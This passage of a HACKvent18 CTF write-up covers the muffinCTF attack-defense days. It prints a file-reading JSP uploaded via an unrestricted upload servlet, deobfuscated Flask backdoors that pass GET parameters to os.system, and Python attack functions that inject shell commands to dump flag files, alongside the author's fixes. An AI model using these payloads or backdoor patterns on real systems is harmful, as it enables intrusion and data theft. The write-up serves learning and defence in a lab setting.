class=\"brush: bash; title: ; notranslate\" title=\"\">\nroot@muffinCTFBox:\/opt\/tomcat\/apache-tomcat-9.0.8\/webapps\/ROOT# find . -name \"FileUploadServlet*\"\n.\/WEB-INF\/classes\/com\/servlet\/FileUploadServlet.class\n<\/pre><\/div>\n\n<p>Since we don&#8217;t have access to the corresponding .java file, we would need to decompile the .class file, fix the vulnerability and recompile it. I tried this without success, because it requires all imported modules to be present (<i>javax.servlet.*<\/i>). Thus I did a quick and dirty fix:\n<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; title: ; notranslate\" title=\"\">\nroot@muffinCTFBox:\/opt\/tomcat\/apache-tomcat-9.0.8\/webapps\/ROOT\/uploads# while true; do rm *.jsp; sleep 0.01; done 2&gt; \/dev\/null\n<\/pre><\/div>\n\n<p>This removes all possibly malicous .jsp files within the uploads folder all 0.01 seconds. Actually we should prevent a user from uploading malicous files at all, but this quick fix saved me from being attacked on this vector at all.<\/p>\n<p>In order to exploit the vulnerability I recycled a malicous .jsp from someone else after digging through my log files:\n<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: java; title: ; notranslate\" title=\"\">\nroot@kali:~\/Documents\/hv18\/day23# cat service.jsp\n&lt;%@page import=&quot;java.io.*&quot; %&gt;\n&lt;%@page import=&quot;java.util.*&quot; %&gt;\n&lt;%!        public void GetDirectory(String a_Path, Vector a_files, Vector a_folders) {\n    File l_Directory = new File(a_Path);\n    File&#x5B;] l_files = l_Directory.listFiles();\n\n    for (int c = 0; c &lt; l_files.length; c++) {\n        if (l_files&#x5B;c].isDirectory()) {\n            a_folders.add(l_files&#x5B;c].getName());\n        } else {\n            a_files.add(l_files&#x5B;c].getName());\n        }\n    }\n\n\n}\n%&gt;\n\n&lt;%\nVector l_Files = new Vector(), l_Folders = new Vector();\nGetDirectory(&quot;\/home\/barracks\/knights\/&quot;, l_Files, l_Folders);\n\nfor (int a = 0; a &lt; l_Files.size(); a++) {\n     String txtFilePath = &quot;\/opt\/tomcat\/apache-tomcat-9.0.8\/webapps\/ROOT\/uploads\/&quot; + l_Files.elementAt(a).toString();\n     BufferedReader reader = new BufferedReader(new FileReader(txtFilePath));\n    StringBuilder sb = new StringBuilder();\n     String line;\n    while((line = reader.readLine())!= null){\n        sb.append(line+&quot;\\n&quot;);\n    }\n    out.println(sb.toString());\n}\n\n%&gt;\n<\/pre><\/div>\n\n<p>&#8230; and simply uploaded this file to every vulnerable machine and accessed it afterwards running the code to print all flags:\n<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; title: ; notranslate\" title=\"\">\ndef attackSendShip(url):\n  aurl = url + '\/FileUploadServlet'\n  try:\n    requests.post(aurl, files={'service.jsp':open('service.jsp','rb')})\n  except: return ''\n  aurl = url + '\/uploads\/service.jsp'\n  try:\n    r = requests.get(aurl, timeout=3)\n    return r.text\n  except: return ''\n...\nattack_all('port', attackSendShip)\n<\/pre><\/div>\n\n<p><u>3. portname vulnerability<\/u><\/p>\n<p>Within the <i>searchPortname.jsp<\/i> the user&#8217;s input (GET-parameter <i>port<\/i>) is passed to <i>Runtime.getRuntime().exec<\/i>:\n<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: java; title: ; notranslate\" title=\"\">\nroot@muffinCTFBox:\/opt\/tomcat\/apache-tomcat-9.0.8\/webapps\/ROOT# cat searchPortname.jsp\n&lt;%@ page import=&quot;java.util.*,java.io.*&quot;%&gt;\n\n\n&lt;%\n    if (request.getParameter(&quot;port&quot;) != null) {\n        out.println(request.getParameter(&quot;port&quot;));\n        out.println(&quot;&lt;br&gt;&lt;br&gt;&quot;);\n        Process p = Runtime.getRuntime().exec(&quot;\/bin\/sh -c &#039;nslookup &quot; + request.getParameter(&quot;port&quot;) + &quot;&#039;&quot;);\n        OutputStream os = p.getOutputStream();\n        InputStream in = p.getInputStream();\n        DataInputStream dis = new DataInputStream(in);\n        String disr = dis.readLine();\n        while ( disr != null ) {\n            out.println(disr);\n            disr = dis.readLine();\n        }\n    }\n%&gt;\n<\/pre><\/div>\n\n<p>The string <i>&#8220;\/bin\/sh -c &#8216;nslookup &#8220;<\/i> is prepended to the user&#8217;s input to look up the dns name of the provided ip-address. Actually there is no <i>nslookup<\/i> on the machine by default:\n<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; title: ; notranslate\" title=\"\">\nroot@muffinCTFBox:\/opt\/tomcat\/apache-tomcat-9.0.8\/webapps\/ROOT# nslookup\nbash: nslookup: command not found\n<\/pre><\/div>\n\n<p>At the first glance I thought that this is an easy to exploit command injection vulnerability. Though it turned out that it&#8217;s not as easy, because Java tokenizes the command string and I did not find a way around this in an adequate amount of time.<\/p>\n<p>Digging through my log files I also saw a lot of people attacking me on the <i>searchPortname.jsp<\/i> endpoint, but also without success.<\/p>\n<p>After all I did neither fix this vulnerability, nor used it for attacks.<\/p>\n<p>To harden the security of this piece of code, one could for example implement a filter on the GET-parameter <i>port<\/i> before passing it to <i>Runtime.getRuntime().exec<\/i>. Nevertheless this may also be error prone and thus the best partice is to the prevent direct system calls at all and use for example third party libraries to carry out the dns lookup.<\/p>\n<p>After submitting at least two flags on two different ticks, as well as gaining maximal defense and availability points in those two ticks, the hackvent-flag is unlocked:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-1046\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day22_01-1024x299.png\" alt=\"\" width=\"1000\" height=\"292\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day22_01-1024x299.png 1024w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day22_01-300x88.png 300w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day22_01-768x224.png 768w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day22_01.png 1838w\" sizes=\"(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/p>\n<p>The flag is:<br>\n<span style=\"color: #0000ff;\"><strong>HV18{muffinCTF{d4y_2_g0sh_y0ur_r34lly_pwn1n_th3_stuff_l3l_g00d_b0y_g0_4h34d}}<\/strong><\/span><\/p>\n<hr>\n<h1 id=\"day23\">Day 23: muffinCTF<\/h1>\n<table style=\"background-color: #eeeeee;\">\n<tbody>\n<tr>\n<td width=\"90\"><center><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-832\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/hard_64.png\" alt=\"\" width=\"64\" height=\"64\"><\/center><\/td>\n<td><span style=\"color: #666666; font-size: smaller;\">Author: muffinx featuring xorkiwi<\/span><br>\n<i>Day 3<\/i><\/td>\n<\/tr>\n<tr>\n<td style=\"padding: 5px 20px 5px 20px;\" colspan=\"2\">\n<pre style=\"white-space: pre;\">      DAY 3 Services\n      --------------------------------------------\n            .\n           \/:\\\n           |:|\n           |:|\n           |:|\n           |:|      __\n         ,_|:|_,   \/  )                     *_   _   _   _   _   _   _   *\n           (Oo    \/ _I_                     | `_' `-' `_' `-' `_' `-' `_'|\n            +\\ \\  || __|            ^       |                            |       ^\n               \\ \\||___|            |       |                            |       |\n                 \\ \/.:.\\-\\          |  (*)  |_   _   _   _   _   _   _   |  \\^\/  |\n                  |.:. \/-----\\      | _&lt;\"&gt;_ | `_' `-' `_' `-' `_' `-' `_'| _(#)_ |\n                  |___|  oOo  |    o+o \\a\/ \\0                            0\/ \\a\/ (=)\n                  \/   |       |     0'\\a-a\/\\\/                            \\\/\\a-a\/`0\n                 |_____\\  :  \/        \/_^_\\ |                            | \/_^_\\\n                  | |  \\ \\:\/          || || |                            | || ||\n                  | |   | |           d|_|b_T____________________________T_d|_|b\n                  \\ \/   | \\___              \/                           \/\n                  \/ |   \\_____\\         \/                              \/\n                  `-'               \/                                 \/\n         ________________________\/                                   \/___________\n\n        Name: barracks\n        Description:\n            The knights and warriors of the king are here practicing the art of war.\n            These guys are no joke, be respectful when you talk with them.\n            Other nations sent their assassins to poision our warriors, make sure that we thighten our security.\n            Also maybe talk with these guys and to show the enemies our powerful warriors.\n        Creator: xorkiwi\n\n                                  .- ._          *\n                         .       (   ) `) ._,--.\n                  _.-.          (      .' |    }      ._    +\n                .'     )         `(_'-'   |--'\"        ))        |\n               (   _.   )                 |           '\"       - * -\n              .-.-'  )  _)  .        [\"I\"I\"I\"I\"}   .             .\n             (  `   .)`'              I_I_I_I_I\n              `-. (   )          [UUUUI_I_I_I_I\n                 `-..'            |[__I_I_[#]_I .        .\n                           +      |__[I_I_I=I_I\n                 .       ._    +  |]_ I_[#]-I_I    ._          ;\n                         |~       |_[ I_I=I_I_[,   |~\n                       uuuuu      |__ I_I_I%I_I  uuuuu\n                       | #_|      |[ _$_I_I%%_I  | _ |\n                       |-  [      | [ %%I_g%%_I  |  -|         __a:f\n                  ---..|_  |.--,,'|]_ %_Ia%%I_I -|_- |.------\"\"\n                       |_-#|  ((  |_[ $%I%%_!^!  | _ |      +\n                       |   |   )) |[_ |%.%I_|\"|  |_  |    n Am   n\n                     .-[_A_]_ '\/  |_ \/ _Y_)_|`| -[N__]_        n\n                 ._.'        `- _.--'`'  ' \"|\\=\\ ''    `-.\n                              .'             |\\=\\`-._     `\n                           .-'                  `:.  `---....__\n                                                   `\n        Name: keep\n        Description:\n            This is the place where the king goes in difficult times.\n            In your last audience it was clear, that the situation is critical.\n            Defend the keep, the enemy troops are pushing more and more.\n            And make sure that they pay for this.\n        Creator: xorkiwi\n<\/pre>\n<hr>\n<p>Login to: <a href=\"http:\/\/whale.hacking-lab.com:9280\/\" target=\"_new\">muffinCTF<\/a><\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>On the third day I focused on the <b>barracks<\/b> service.<\/p>\n<p>The service is a Flask-based (python) webservice, with not much output on the base route:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1045\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day23_02.png\" alt=\"\" width=\"756\" height=\"270\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day23_02.png 756w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day23_02-300x107.png 300w\" sizes=\"(max-width: 706px) 89vw, (max-width: 767px) 82vw, 740px\" \/><\/p>\n<p>The source code is obfuscated using base64:\n<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; title: ; notranslate\" title=\"\">\nroot@muffinCTFBox:\/home\/barracks# cat main.py\n#!\/usr\/bin\/env python3\n# muffinx_obsfucator\nimport base64;BcoiOXqIFr=exec;XWwFgKrRNr=base64.b64decode;BcoiOXqIFr(XWwFgKrRNr('SlJIRlB4RElZeT1leGVjO09OYVhuSEZvUkg9YmFzZTY0LmI2NGRlY29k ... a lot of base64 ... '));\n<\/pre><\/div>\n\n<p>To deobfuscate it code I used the following quick and dirty python script (saving the file to deobfuscate in <i>decode1.txt<\/i> beforehand):\n<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; title: ; notranslate\" title=\"\">\nroot@kali:~\/Documents\/hv18\/day23# cat deobfuscate.py\n#!\/usr\/bin\/env python\n\ni = 1\nwhile True:\n  ob = open('decode'+str(i)+'.txt').read()\n\n  first = ob.index(\"'\")\n  secnd = ob.index(\"'\", first+1)\n\n  b = ob&#x5B;first+1:secnd]\n  i += 1\n  out = open('decode'+str(i)+'.txt', 'w')\n  out.write(b.decode('base64'))\n  out.close()\n<\/pre><\/div>\n\n<p>The script simply extracts the base64-string within the single quotes and decodes it. After 11 iterations an error is thrown indicating the last iteration:\n<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; title: ; notranslate\" title=\"\">\nroot@kali:~\/Documents\/hv18\/day23# .\/deobfuscate.py\nTraceback (most recent call last):\n  File \".\/deobfuscate.py\", line 8, in \n    first = ob.index(\"'\")\nValueError: substring not found\nroot@kali:~\/Documents\/hv18\/day23# ls -al\ntotal 1088\ndrwxr-xr-x 2 root root   4096 Dec 30 04:27 .\ndrwxr-xr-x 8 root root   4096 Dec 28 13:29 ..\n-rw-r--r-- 1 root root  19532 Dec 30 04:27 decode10.txt\n-rw-r--r-- 1 root root      9 Dec 30 04:27 decode11.txt\n-rw-r--r-- 1 root root 262862 Dec 30 04:27 decode1.txt\n-rw-r--r-- 1 root root 197047 Dec 30 04:27 decode2.txt\n-rw-r--r-- 1 root root 147731 Dec 30 04:27 decode3.txt\n-rw-r--r-- 1 root root 110743 Dec 30 04:27 decode4.txt\n-rw-r--r-- 1 root root  83003 Dec 30 04:27 decode5.txt\n-rw-r--r-- 1 root root  62199 Dec 30 04:27 decode6.txt\n-rw-r--r-- 1 root root  46595 Dec 30 04:27 decode7.txt\n-rw-r--r-- 1 root root  34891 Dec 30 04:27 decode8.txt\n-rw-r--r-- 1 root root  26115 Dec 30 04:27 decode9.txt\n-rwxr-xr-x 1 root root    266 Dec 25 07:36 deobfuscate.py\n<\/pre><\/div>\n\n<p>The second to last file (<i>decode10.txt<\/i>) contains multiple base64 strings:\n<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; title: ; notranslate\" title=\"\">\nroot@kali:~\/Documents\/hv18\/day23# cat decode10.txt\nEUZZmKzHpO=exec;hJrTYujsus=base64.b64decode;EUZZmKzHpO(hJrTYujsus('aW1wb3J0IG9z'));EUZZmKzHpO(hJrTYujsus('aW1wb3J0IHN5cw=='));EUZZmKzHpO(hJrTYujsus('aW1wb3J0IGN0eXBlcw=='));EUZZmKzHpO(hJrTYujsus('aW1wb3J0IGJhc2U2NA=='));EUZZmKzHpO(hJrTYujsus('ZnJvbSBmbGFzayBpbXBvcnQgRmxhc2ssIHJlcXVlc3QsIHJlbmRlcl90ZW1wbGF0ZQ==')); ...\n<\/pre><\/div>\n\n<p>To reveal the actual code I replaced <i>exec<\/i> with <i>print<\/i>, imported <i>base64<\/i> and added <i>decode(&#8216;utf8&#8217;)<\/i> to all base64-decoded strings:\n<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; title: ; notranslate\" title=\"\">\nroot@kali:~\/Documents\/hv18\/day23# sed -i -e &#039;s\/exec\/print\/g&#039; decode10.txt\nroot@kali:~\/Documents\/hv18\/day23# sed &quot;s\/&#039;)\/&#039;).decode(&#039;utf8&#039;)\/g&quot; decode10.txt &gt; decode10_a.txt\nroot@kali:~\/Documents\/hv18\/day23# (echo &#039;import base64;&#039;;cat decode10_a.txt) | python3 &gt; main_deobfuscated.py\n<\/pre><\/div>\n\n<p>Now the file <i>main_deobfuscated.py<\/i> contains the deobfuscated script:\n<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; title: ; notranslate\" title=\"\">\nroot@kali:~\/Documents\/hv18\/day23# cat main_deobfuscated.py\nimport os\nimport sys\nimport ctypes\nimport base64\nfrom flask import Flask, request, render_template\nfrom easyprocess import EasyProcess\nfrom werkzeug.serving import run_simple\nohai = Flask(__name__, static_url_path='\/static')\nohai.secret_key = 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'\n# interesting stuff in d.py\nfrom d import *\nfrom a import _pls\nfrom b import _ak\nfrom c import _yes\nfrom d import _bob\nfrom e import _backdoor\n#begin_multiline\ndef four_twenty():\n    return 'lit'\n\n#begin_multiline\ndef ak():\n    _ak(request.args.get('n'), request.args.get('k'))\n    return '_'\n\n#begin_multiline\ndef pls():\n    return _pls(request.args.get('p'))\n\n#begin_multiline\ndef blubb():\n\n    # TEE(1) ...\n    # ... unnecessary man page output ...\n  \n    blubb = request.args.get('blubb')\n  \n    # TEE(1) ...\n    # ... unnecessary man page output ...\n  \n    return EasyProcess(blubb).call(timeout=5).stdout\n    b = 1\n  \n    # TEE(1) ...\n    # ... unnecessary man page output ...\n  \n    return(str(b))\n\nrouted_ak = ohai.route('\/ak')(ak)\nrouted_pls = ohai.route('\/pls')(pls)\nrouted_blubb = ohai.route('\/blubb')(blubb)\nrouted_blubb = ohai.route('\/yes')(_yes)\nrouted_blubb = ohai.route('\/bob')(_bob)\nrouted_blubb = ohai.route('\/backdoor')(_backdoor)\nrouted_four_twenty = ohai.route('\/')(four_twenty)\nrun_simple('0.0.0.0', 8085, ohai, threaded=True)\n<\/pre><\/div>\n\n<p>This way we can deobfuscate all other scripts (<i>a.py<\/i>, &#8230;, <i>e.py<\/i>).<\/p>\n<p>Actually I did not find any real vulnerabilities, but a lot of backdoors:<\/p>\n<p><u>1. backdoor: \/blubb<\/u><\/p>\n<p>Within the file <i>main.py<\/i> a route to <i>\/blubb<\/i> is added, passing the GET-parameter <i>blubb<\/i> to <i>EasyProcess.call<\/i>:\n<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; title: ; notranslate\" title=\"\">\n...\ndef blubb():\n    blubb = request.args.get('blubb')\n    return EasyProcess(blubb).call(timeout=5).stdout\n    b = 1\n    return(str(b))\n  \n...\nrouted_blubb = ohai.route('\/blubb')(blubb)\n<\/pre><\/div>\n\n<p>To fix this, we can simply comment out the call.<\/p>\n<p>To exploit the backdoor I added the following attack function:\n<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; title: ; notranslate\" title=\"\">\ndef attackBlubbBackdoor(url):\n  v = ''\n  aurl = url + '\/blubb?blubb=ls%20-t%20\/home\/barracks\/knights'\n  try:\n    r = requests.get(aurl, timeout=3)\n    for line in r.text.split('\\n'):\n      line = line.strip()\n      try:\n        r = requests.get(url+'\/p?pls='+line, timeout=3)\n        v += r.text\n      except: pass\n  except: pass\n  return v\n\n...\nattack_all('port', attackBlubbBackdoor)\n<\/pre><\/div>\n\n<p>Instead of directly running <i>cat<\/i> on the flags\/* directory, I used <i>ls -t<\/i> to list all flag files order by modification time and then accessed the specific file through the <i>\/pls<\/i> route.<\/p>\n<p><u>2. backdoors: \/pls and \/ak<\/u><\/p>\n<p>Within the files <i>a.py<\/i> (route <i>\/pls<\/i>) and <i>b.py<\/i> (route <i>\/ak<\/i>) there is a backdoor, which passes a command enclosed in c&#8217;s&nbsp;<i><\/i>to <i>os.system<\/i>:\n<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; title: ; notranslate\" title=\"\">\nroot@kali:~\/Documents\/hv18\/day23# cat a_deobfuscated.py\n...\ndef _pls(p):\n    if '(c)' and '(\/c)' in p:\n        c = p&#x5B;p.index('(c)')+3:]\n        c = c&#x5B;:c.index('(\/c)')]\n        os.system(c)\n        return '_c_'\n...\n<\/pre><\/div>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; title: ; notranslate\" title=\"\">\nroot@kali:~\/Documents\/hv18\/day23# cat b_deobfuscated.py\n...\ndef _ak(n, k):\n    if '(c)' and '(\/c)' in k:\n        c = k&#x5B;k.index('(c)')+3:]\n        c = c&#x5B;:c.index('(\/c)')]\n        os.system(c)\n        return '_c_'\n...\n<\/pre><\/div>\n\n<p>The fix is straightforward again: simply comment out the backdoor.<\/p>\n<p>To exploit the backdoors I added the following attack function:\n<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; title: ; notranslate\" title=\"\">\ndef attackPlsAkBackdoor(url):\n\n  aurl = url + &#039;\/pls?p=%5bc%5dcat%20\/home\/barracks\/knights\/*&gt;\/home\/barracks\/knights\/aaa%5b\/c%5d&#039;\n  try:\n    r = requests.get(aurl, timeout=3)\n  except: pass\n  \n  aurl = url + &#039;\/ak?k=%5bc%5dcat%20\/home\/barracks\/knights\/*&gt;\/home\/barracks\/knights\/aaa%5b\/c%5d&#039;\n  try:\n    r = requests.get(aurl, timeout=3)\n  except: pass\n\n  aurl = url + &#039;\/pls?p=aaa&#039;\n  try:\n    r = requests.get(aurl, timeout=3)\n    return r.text\n  except: return &#039;&#039;\n  \n...\nattack_all(&#039;port&#039;, attackPlsAkBackdoor)\n<\/pre><\/div>\n\n<p>Since we cannot directly see the output of the command we run, we store the content of all flags in <i>\/home\/barracks\/knights\/aaa<\/i> again and retrieve it through the <i>\/pls<\/i> route.<\/p>\n<p><u>3. backdoor: \/backdoor<\/u><\/p>\n<p>Within the file <i>e.py<\/i> (route <i>\/backdoor<\/i>) there is another backdoor:\n<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; title: ; notranslate\" title=\"\">\nroot@kali:~\/Documents\/hv18\/day23# cat e_deobfuscated.py\ndef _backdoor():\n    try:\n        os.system(request.args.get('i_like_cookies'))\n    except: pass\n    return 'backdoor'\n<\/pre><\/div>\n\n<p>Again we can simply comment out or remove the route to fix this backdoor.<\/p>\n<p>To exploit the backdoor I added the following attack function:\n<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; title: ; notranslate\" title=\"\">\ndef attackBackdoorBackdoor(url):\n  aurl = url + &#039;\/backdoor?i_like_cookies=cat%20\/home\/barracks\/knights\/*&gt;\/home\/barracks\/knights\/aaa&#039;\n  try:\n    requests.get(aurl, timeout=3)\n  except: pass\n\n  aurl = url + &#039;\/pls?p=aaa&#039;\n  try:\n    r = requests.get(aurl, timeout=3)\n    return r.text\n  except: return &#039;&#039;\n\n...\nattack_all(&#039;port&#039;, attackBackdoorBackdoor)\n<\/pre><\/div>\n\n<p>After submitting at least two flags on two different ticks, as well as gaining maximal defense and availability points in those two ticks, the hackvent-flag is unlocked:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-1044\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day23_01-1024x355.png\" alt=\"\" width=\"1000\" height=\"347\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day23_01-1024x355.png 1024w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day23_01-300x104.png 300w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day23_01-768x266.png 768w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day23_01.png 1846w\" sizes=\"(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/p>\n<p>The flag is:<br>\n<span style=\"color: #0000ff;\"><strong>HV18{muffinCTF{d4y_3_t3h_1337_b001s_g3t_4ll_d3m_gr0up13z_4nd_b0x3n}}<\/strong><\/span>\n<\/p>","protected":false},"excerpt":{"rendered":"<p>For the sixth time in a row now hacking-lab.com carried out the annual HACKvent. Each day from the 1st of december until the 24th a new challenge is published. I would have loved to spend more time on it, but time is a rare resource especially on the days before christmas \ud83d\ude09 After all I &hellip; <\/p>\n<p class=\"link-more\"><a href=\"https:\/\/devel0pment.de\/?p=824\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;HACKvent18 writeup&#8221;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[25,7],"tags":[8,9,23,16,15,17,12,28],"class_list":["post-824","post","type-post","status-publish","format-standard","hentry","category-hacking-lab-com","category-writeup","tag-assembly","tag-binary","tag-crypto","tag-hacking-lab","tag-hackvent","tag-misc","tag-reversing","tag-web"],"_links":{"self":[{"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/posts\/824"}],"collection":[{"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/devel0pment.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=824"}],"version-history":[{"count":165,"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/posts\/824\/revisions"}],"predecessor-version":[{"id":1134,"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/posts\/824\/revisions\/1134"}],"wp:attachment":[{"href":"https:\/\/devel0pment.de\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=824"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/devel0pment.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=824"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/devel0pment.de\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=824"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}